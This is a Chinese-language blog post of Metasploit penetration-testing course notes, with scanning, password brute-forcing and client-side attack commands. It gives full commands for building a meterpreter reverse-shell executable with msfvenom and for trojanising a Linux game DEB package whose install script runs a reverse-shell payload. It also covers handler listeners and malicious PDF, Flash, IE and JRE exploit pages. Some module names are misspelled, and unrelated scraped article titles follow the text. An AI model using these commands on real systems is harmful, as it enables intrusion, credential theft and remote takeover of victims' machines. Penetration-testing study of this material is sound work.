笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

  • 一、信息收集
    • (一)db_nmap
    • (二)Auxiliary模块
      • 1.arp扫描
      • 2.端口扫描
      • 3.空闲扫描
      • 4.UDP扫描
      • 5.密码嗅探
      • 6.SNMP扫描(161端口)
      • 6.SMB扫描(445端口)
      • 7.SSH扫描(22端口)
      • 8.扫描Windows缺少的补丁
      • 9.mssql扫描(TCP 1443或者UDP 1434端口)
      • 10.ftp扫描(21端口)
  • 二、漏洞扫描
    • 1.VNC密码破解
    • 2.RDP远程桌面漏洞
    • 3.设备后门
    • 4.VMWare ESXi密码爆破
    • 5.http漏洞扫描
    • 6.漏洞扫描
  • 三、客户端渗透
    • (一)利用可执行文件运行payload
      • 1.针对Windows系统
      • 2.针对Linux系统
    • (二)利用普通文件运行payload
      • 1.利用Adobe Reader漏洞执行Payload
      • 2.利用Flash插件漏洞执行Payload
      • 3.利用IE浏览器漏洞执行Payload
      • 4.利用JRE漏洞执行Payload

一、信息收集

所利用的模块基本在auxiliary/scanner/目录中,同时也可以利用强大的nmap工具进行扫描,Metasploit中集成了db_nmap,把nmap扫描的结果存入数据库。

(一)db_nmap

db_nmap -sn 10.10.11.151/24

图1 db_nmap命令使用

(二)Auxiliary模块

在auxiliary/scanner/.目录下有非常多扫描模块,这里只介绍常用的部分

1.arp扫描
search arp
use auxiliary/acanner/discovery/arp_sweep
set INTERFACE eth0
set RHOSTS 10.10.11.151/24
set THREADS 20                     #设置线程数
run
2.端口扫描
search portscan
use auxiliary/scanner/portscan/syn #也可以用ack、tcp连接等方式
set INTERFACE/RHOSTS/THREADS/PORTS
run                                #扫描指定主机的指定端口
3.空闲扫描

空闲扫描原理:为了降低在扫描过程中被发现的概率,通常可以使用空闲扫描(idle scan),让僵尸机充当扫描任务,注意要找一台TCP序列预测成功率高的僵尸主机,这个僵尸主机必须尽可能的空闲,比如说网络打印机就是一个很好地选择,因为网络打印机不仅存在着恒定的网络资源,而且很难预测它们的TCP序列。具体如下:
(1)向僵尸主机发送SYN/ACK数据包,获得带有分片ID(IPID)的RST报文
(2)发送使用僵尸主机IP地址的伪数据包给目标主机
(3)如果目标主机端口关闭,就会向僵尸主机响应RST报文。如果目标端口开放,目标主机向僵尸主机响应SYN/ACK报文,僵尸主机发现这个非法连接响应,并向目标主机发送RST报文,此时IPID号开始增长。
(4)通过向僵尸主机发送另一个SYN/ACK报文已退出上述循环并检查将是主机RST报文中的IPID是否每次增长2,同时目标主机的RST每次增长1。
(5)重复上述步骤直到检测完所有的端口

#首先要发现ipid递增的僵尸机
search ipid
use auxiliary/scanner/ip/ipidseq
set INTERFACE/RHOSTS/THREADS
run

图1 ipidseq模块使用命令使用
#然后使用nmap进行空闲扫描
db_nmap -Pn -sI 10.10.11.113 10.10.11.122
4.UDP扫描
use auxiliary/acanner/discovery/udp_sweep
set RHOSTS 10.10.11.120-10.10.11.160
runuse auxiliary/scanner/discovery/udp_probe
set RHOSTS 10.10.11.120-10.10.11.160
run          #两个模块扫描类似
5.密码嗅探
#psnuffle模块支持从pcap抓包文件中提取密码
#功能类似dsniff
#目前只支持pop3、imap、ftp、http get协议use auxiliary/sniffer/psnuffle
set PCAPFILE      #设置该参数后,run会从此pcap文件中提取账号密码
6.SNMP扫描(161端口)

简单网络管理协议(Simple Network Managemant Protocol,SNMP)能够对网络节点设备的接口流量、数据等信息进行统计,当然后按一定的格式保存起来。用户设备向路由器发送请求,获取数据,数据的格式和内容就是SNMP所规定的,采用UDP 161端口通信。

#针对Linux系统
vim /etc/default/snmpd  #虚拟机中侦听地址默认为自身,先需要将侦听地址修改为0.0.0.0
use auxiliary/scanner/snmp/snmp_login  #需要设置爆破密码的字典
set PASS_FILE/THREAD/RHOSTS
runuse auxiliary/scanner/snmp/snmp_enum  #枚举snmp的配置信息
set RHOSTS
run#针对Windows系统
use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/snmp_enumshares
6.SMB扫描(445端口)
#输入用户名和密码后的消息会更具体
use auxiliary/scanner/smb/smb_version      #SMB版本、系统版本扫描
use auxiliary/scanner/smb/pipe_auditor     #扫描命名管道,判断SMB服务类型
use auxiliary/scanner/smb/smb_enumusers    #枚举用户
use auxiliary/scanner/smb/smb_enumshares   #枚举共享
7.SSH扫描(22端口)
use auxiliary/acanner/ssh/ssh_version      #SSH版本、系统版本扫描use auxiliary/acanner/ssh/ssh_login        #SSH密码爆破
set RHOSTS/USER_FILE/PASS_FILE
runuse auxiliary/scanner/ssh/ssh_login_pubkey #SSH公钥登录
set KEY_FILE id_rsa
set USERNAME root
run
8.扫描Windows缺少的补丁
use post/windows/gather/enum_patches
set SESSION x       #基于已经获取的session x,其中KB表示补丁编号(在微软官网上可以找到补丁编号)
run                 #查询目标主机是否缺少设置的KB补丁,并列出缺少可能存在的漏洞

图3 enum_patches模块使用

注:KB4012598、KB4013389、KB4012212、KB4012606、KB4013198、KB4013429等都是永恒之蓝漏洞补丁,针对不同的Windows操作系统

9.mssql扫描(TCP 1443或者UDP 1434端口)

mssql是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,mssql利用TCP 1443端口(动态)或者UDP 1434端口。

use auxiliary/scanner/mssql/mssql_ping  #扫描mssql端口
use auxiliary/scanner/mssql/mssql_login #爆破mssql密码
use auxiliart/scanner/mssql/mssql_exec  #破解数据库密码后,远程执行代码
10.ftp扫描(21端口)
use auxiliary/scanner/ftp/ftp_version    #扫描ftp版本
use auxiliary/scanner/ftp/ftp_anonymous  #确认ftp服务是否是匿名登录
use auxiliary/scanner/ftp/ftp_login      #ftp密码爆破登录

二、漏洞扫描

  • 根据信息收集结果搜索漏洞利用模块
  • 结合外部漏洞扫描系统对IP地址段进行批量处理
1.VNC密码破解

VNC指虚拟网络控制台的,是一款远程控制工具

use auxiliary/scanner/vnc/vnc_login      #VNC密码破解
set BLANK_PASSWORDS yes                  #空密码检查开启
use auxiliart/scanner/vnc/vnc_none_auth  #判断VNC是否无认证访问
2.RDP远程桌面漏洞
#远程桌面服务端口3389
use auxiliary/scanner/rdp/ms12_020_check #扫描目标主机是否存在RDP漏洞
3.设备后门
use auxiliary/scanner/ssh/juniper_backdoor  #检测目标主机是否存在juniper漏洞
use auxiliary/scanner/ssh/fortinet_backdoor #检测目标主机是否存在fortinet漏洞
4.VMWare ESXi密码爆破
use auxiliary/scanner/vmware/vmauthd_login    #ESXi密码爆破
use auxiliary/scanner/vmware/vmware_enum/vms  #爆破密码后,列出ESXi所有的虚拟机,然后进一步进行管理use auxiliary/admin/vmware/poweron_vm         #进一步远程开启虚拟机
5.http漏洞扫描
use auxiliary/scanner/http/cert         #查看证书是否过期
use auxiliary/scanner/http/dir_listing  #查看是否存在目录列出的漏洞
use auxiliary/scanner/http/files_dir    #爬取文件目录
use auxiliary/scanner/http/dir_webdav_unicode_bypass #WebDAV Unicode编码身份验证绕过
use auxiliary/scanner/http/tomcat_mgr_login #Tomcat管理登录
use auxiliary/scanner/http/verb_auth_bypadd #基于HTTP方法的身份绕过
use auxiliary/scanner/http/wordpress_login_enum
set URI /wordpress/wp-login.php         #Wordpress密码爆破

WEB漏洞扫描可以用WMAP插件,WAMP会调用MSF的扫描模块

load wmap
wmap_sites -a http://1.1.1.1  #要扫描的目标网站
wmap_sites -l                 #列出扫描的目标
wmap_targets -t http://1.1.1.1/mutillidae/index.php  #指定具体的站点目标
wmap_run -t                   #-t表示wmap调用的扫描模块
6.漏洞扫描

Metasploit没有专门开发漏扫工具,而是采用调用目前已经非常成熟的漏扫软件,结合漏扫报告或者调用插件完成漏洞扫描功能。可以先用扫描器(nessus、openvas等)扫描目标,导出扫描报告,然后用MSF导入报告文件:(较为直观,常用)

db_import openvas.nbe  #导入openvas的扫描文件openvas.nbe

也可以加载插件,如:

load nessus
nessus_help
nessus_connect  admin:asdf@10.10.11.122   #连接nessus服务器
nessus_pulicy_list            #查看nessus服务器扫描策略
nessus_scan_new  POLICY_UUID  #创建POLICY_UUID策略扫描任务
nessus_scan_launch  SCAN_ID   #执行扫描SCAN_ID
nessus_report_list            #列出扫描报告

三、客户端渗透

(一)利用可执行文件运行payload

在无法突破网络边界的情况下转而攻击客户端,利用含有漏洞利用代码的WEB站点,或含有漏洞的文档,或者上传Payload,诱使攻击目标访问这些文件。

1.针对Windows系统

msfvenom是Metasploit的Payload生成器,利用其可以生成针对不同平台的木马脚本

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x:表示与现有软件绑定在一起
# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序

handler模块是一个生成在metasploit框架外执行的程序的平台,用于启动端口侦听,为反弹shell提供接口

use exploit/multi/handler   #反弹shell前提是攻击方要开启端口监听
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit                     #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端
2.针对Linux系统
apt-get --download-only install freesweep #下载扫雷游戏DEB包
dpkg -x freesweep_0.90-1_i386.deb free    #解压下载的DEB包到free目录
mkdir free/DEBIAN && cd free/DEBIAN
vim control                               #创建控制文件
vim postinst                              #安装DEB后执行的shell脚本
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweepmsfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\00" -f elf -o /root/free/usr/games/freesweep_scoreschmod 755 postinst
dpkg-deb --build /root/free               #重新打包生成DEB包use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit                #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端

(二)利用普通文件运行payload

一般用户对运行外部可执行文件都有防范,攻击目标中招的可能性较低,因此要进一步将payload植入隐蔽性较强的文件。

1.利用Adobe Reader漏洞执行Payload
use exploit/windows/fileformat/adobe_utilprintf
set payload windows/meterpreter/reverse_tcp     #尽量选择meterpreter的shell,因为功能较多
set RHOST/RPORT
exploit             #构造pdf文件  use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit             #启动端口侦听,攻击目标运行pdf文件后,就会反弹至服务器端
use exploit/windows/browser/adobe_utilprintf    #构造恶意网站
set SRVPORT 80
set URI /                                       #URI如果不指定,则会生成随机码地址
set payload windows/meterpreter/reverse_tcp
run#攻击者一旦访问构造的URL,就会反弹shell
2.利用Flash插件漏洞执行Payload
use exploit/multi/browser/adobe_flash_hacking_team_uaf       #生成URL,用户一旦访问,并且客户端Flash存在漏洞,就会反弹shell给服务器端
use exploit/multi/browser/adobe_flash_opaque_background_uaf  #同上use auxiliary/server/browser_autopwn2   #与以上不同的是无需设置payload,该模块会自动指定评级较高的payload,启动多个进程
3.利用IE浏览器漏洞执行Payload
use exploit/windows/browser/ms14_064_ole_code_exe
set SRVPORT/URIPATH/LHOST/payload
run             #原理同上
4.利用JRE漏洞执行Payload
#访问网站有java漏洞利用代码,客户端JRE如果存在漏洞,一旦访问运行就会中招
use exploit/multi/browser/java_jre17_driver_manager
use exploir/multi/browser/java_jre17_jmxbean
use exploir/multi/browser/java_jre17_reflection_typesuse payload/android/meterpreter/reverse_tcp
generate -f a.apk -p android -t raw

Kali Linux渗透测试——MSF实战篇(一)相关推荐

  1. Kali Linux渗透测试——MSF基础篇

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程 Metasploit是目前最流行.最强大.最具扩展性的渗透测试平台,一定程度上统一了渗透测试和漏洞研究的工作环境,使得新的攻击代码比 ...

  2. 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试

    Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...

  3. 视频教程-Kali Linux渗透测试全程课与脚本语言编程系列课程-渗透测试

    Kali Linux渗透测试全程课与脚本语言编程系列课程 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥899.00 立即订 ...

  4. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  5. kali linux 渗透测试学习笔记——被动信息收集

    kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...

  6. 【Kali Linux 渗透测试】学习笔记

    Kali Linux 渗透测试 文章目录 Kali Linux 渗透测试 介绍 一. 渗透测试标准 二. 安装 三. 定制 网络配置 更新升级 安裝软件包 并发线程限制 电源优化 快捷键 四. 试验环 ...

  7. Kali Linux 渗透测试 博客记录

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...

  8. Kali Linux渗透测试 142 Mestasploit 基本使用

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 Kali Linux渗透测试(苑房弘)博客记录 1. ...

  9. 基于Android设备的Kali Linux渗透测试教程第1章渗透测试

    基于Android设备的Kali Linux渗透测试教程第1章渗透测试 渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问 ...

最新文章

  1. 数据科学家:那些年,我都学过哪些编程语言…
  2. LINQ中的延迟查询特性
  3. python:LEGB标识符解析顺序
  4. 漫长的数据中心绿化之路到底该如何走www.shzhenai.com
  5. 创新工场2018年夏令营DeepCamp第一套解答笔记
  6. UA MATH567 高维统计I 概率不等式8 亚指数范数
  7. cdn jquery怎么没有提示_第一个jQuery程序
  8. 四种π型RC滤波电路
  9. Weinre mobile debugging on Windows
  10. ssl1759-求连通分量【图论,深搜,广搜】
  11. github出现Your account has been flagged.导致账号无法公开的解决办法
  12. mysql binlog更新记录缺失_记一次mysql数据库binlog丢失引起的故障
  13. 露出暴露自拍论坛_如何照出高质感的自拍?——18个技巧,值得收藏
  14. ccd视觉定位教程_CCD与CMOS哪个更能推动工业相机市场的发展
  15. 正则表达式-grep命令
  16. Juniper MIP
  17. 推荐5款实用的PC端软件!!!
  18. android banner 不轮播,使用Android Banner来设置一个轮播图
  19. 结合盒子模型,发布一张你的卡片
  20. 2022年化工自动化控制仪表考试资料及化工自动化控制仪表免费试题

热门文章

  1. 企业不提供资源销售自己找客户难吗
  2. 网络防火墙和病毒防火墙的差别
  3. 新闻软文营销应扎实分析能力用批判性思维获得信任
  4. 华为USG系列防火墙配置-网页端登录管理
  5. 聚焦爬虫案例4:斗图啦
  6. Toocold之100层地狱
  7. 延迟是AR/VR体验的基础
  8. 【20200708】CISA考题练习
  9. read和write的陷阱(很隐晦的)
  10. Win7电脑怎么将桌面文件夹从C盘移动到D盘?